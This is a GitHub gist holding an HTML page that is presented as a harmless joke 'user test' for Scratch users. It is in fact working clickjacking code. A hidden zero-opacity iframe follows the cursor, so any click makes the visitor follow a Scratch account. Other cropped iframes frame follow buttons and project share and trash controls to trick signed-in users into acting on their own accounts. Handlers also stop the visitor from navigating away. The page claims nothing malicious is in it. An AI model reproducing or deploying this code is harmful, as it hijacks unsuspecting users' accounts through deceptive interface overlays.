Skip to content

Instantly share code, notes, and snippets.

@Arinerron
Created January 1, 2016 20:38
Show Gist options
  • Save Arinerron/eb1174c265ad32202fa7 to your computer and use it in GitHub Desktop.
Save Arinerron/eb1174c265ad32202fa7 to your computer and use it in GitHub Desktop.
A page that interacts with the user based on who they are. This was just a silly test I decided to try, you should check it out, it's pretty funny! :)
<html>
<head><title>User test</title></head>
<body style="background-color:lightgrey;">
<h2>Scratch Stuff by Arinerron</h2>
<script>var s = confirm("Please click OK if you are signed in to Scratch, Cancel if not; this page doesn't really work if you're not...");
if(s) {
} else {
document.write("Please this button once you sign in to Scratch! This page uses iframes and won't really work if you're not. (Inspect Element to see the src code).<br>");
document.write("<div style=\"border:1px dashed black; background-color:white;\"><input type=\"button\" name=\"Reload\" text=\"Reload\" id=\"clearCache\" value=\"Reload\" onclick=\"window.location.reload(true);\"></div>");
window.stop();
}
</script>
<div style="border:1px dashed black; background-color:#f2f2f2;">
By the way, <strong>none of this will work if you're not signed in.</strong> To see the source, right click and click view source or inspect element. :) Don't worry, there's nothing malicious in this project. This page may take a while to load.</div><br><br>
<div style="border:1px dashed black; background-color:#0f8bc0;">Hello, <script>function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script>
<div qjid="quickjack" style="overflow: hidden; width: 88px; height: 27px; position: relative;" id="cksl6">
<div class="ol" style="position: absolute; width:88px; height: 27px; z-index:90; overflow: auto;"></div><iframe name="cksl7" src="https://scratch.mit.edu/users/arinerron" style="border: 0pt none ; left: -1320px; top: -4px; position: absolute; width: 1914px; height: 1078px;" scrolling="no"></iframe></div>How are you?</div></div><br><br>
<div style="border:1px dashed black; background-color:white;">
If you click <a href="usertest.html" target="_blank">here</a>, or anywhere on the page you'll automatically follow Looy3 on Scratch, This bug is patched in the new Chrome version, so don't worry if you are a user of Chrome.
<style>body{margin:0px;padding:0px;}</style><div style="overflow:hidden;width:1px;height:1px;position:relative;" id=v><iframe id="cksl7" name="cksl7" src="http://scratch.mit.edu/users/Looy3" style="border:0px;left:-1375px;top:-78px;position:absolute;filter:alpha(opacity=0);z-index:1;opacity:0;overflow:hidden;width:1914px;height:1078px;"></iframe></div><script>var d=document;if(!d.all)d.captureEvents(Event.MOUSEMOVE);d.onmousemove=function(e){var i=d.getElementById("v").style;i.left=d.all?event.clientX+d.body.scrollLeft:e.pageX;i.top=d.all?event.clientY+d.body.scrollTop:e.pageY;};function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script><script src="https://code.jquery.com/jquery-2.1.3.min.js"></script><script>$(function(){var i=-1;$("#cksl7").hover(function(){i=$(this).closest("#v").attr("qjid");},function(){i=-1;});$(window).focus();$(window).blur(function(){document.getElementById("v").style.visibility="hidden";});});$(window).focus()</script></div><br><br>
<div style="border:1px dashed black; background-color:white;">
Pretty please, will you follow me if you're not? :P ( If you already are, no need for clicking this button! :D )
<div qjid="quickjack" style="overflow: hidden; width: 82px; height: 36px; position: relative;" id="cksl6">
<iframe name="cksl7" src="https://scratch.mit.edu/users/arinerron/" style="border: 0pt none ; left: -1325px; top: -60px; position: absolute; width: 1914px; height: 1078px;" scrolling="no"></iframe></div>
</div><br><br>
<div style="border:1px dashed black; background-color:white;">
By the way, you should seriously consider sharing this project:
<script>function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script>
<div qjid="quickjack" style="overflow: hidden; width: 472px; height: 21px; position: relative;" id="cksl6">
<div class="ol" style="position: absolute; width:472px; height: 21px; z-index:90; overflow: auto;"></div><iframe name="cksl7" src="http://scratch.mit.edu/mystuff#unshared" style="border: 0pt none ; left: -855px; top: -163px; position: absolute; width: 1914px; height: 1078px;" scrolling="no"></iframe></div>
I really like it, and I think it may get famous! :)<br><br>
I think you should change this logo though maybe, it's not bad, it's just people tend to be picky about the cover photo of the project:
<script>function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script>
<div qjid="quickjack" style="overflow: hidden; width: 98px; height: 78px; position: relative;" id="cksl6">
<div class="ol" style="position: absolute; width:98px; height: 78px; z-index:90; overflow: auto;"></div><iframe name="cksl7" src="http://scratch.mit.edu/mystuff#unshared" style="border: 0pt none ; left: -745px; top: -165px; position: absolute; width: 1914px; height: 1078px;" scrolling="no"></iframe></div></div><br><br>
<div style="border:1px dashed black; background-color:white;">
Any seriously, WHY is this project in the trash???
<script>function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script>
<div qjid="quickjack" style="overflow: hidden; width: 100px; height: 79px; position: relative;" id="cksl6">
<div class="ol" style="position: absolute; width:100px; height: 79px; z-index:90; overflow: auto;"></div><iframe name="cksl7" src="http://scratch.mit.edu/mystuff#trash" style="border: 0pt none ; left: -744px; top: -164px; position: absolute; width: 1914px; height: 1078px;" scrolling="no"></iframe></div><script>function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script><div qjid="quickjack" style="overflow: hidden; width: 115px; height: 20px; position: relative;" id="cksl6">
<div class="ol" style="position: absolute; width:115px; height: 20px; z-index:90; overflow: auto;"></div><iframe name="cksl7" src="http://scratch.mit.edu/mystuff#trash" style="border: 0pt none ; left: -857px; top: -165px; position: absolute; width: 1914px; height: 1078px;" scrolling="no"></iframe></div> Oh wait nvm :P</div><br><br><br><br><br><br><br><br><br><br><br><br>
<div style="border:1px dashed black; background-color:white;"><input type="button" name="clearCache" text="clearCache" id="clearCache" value="clearCache" onclick="window.location.reload(true);"></div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment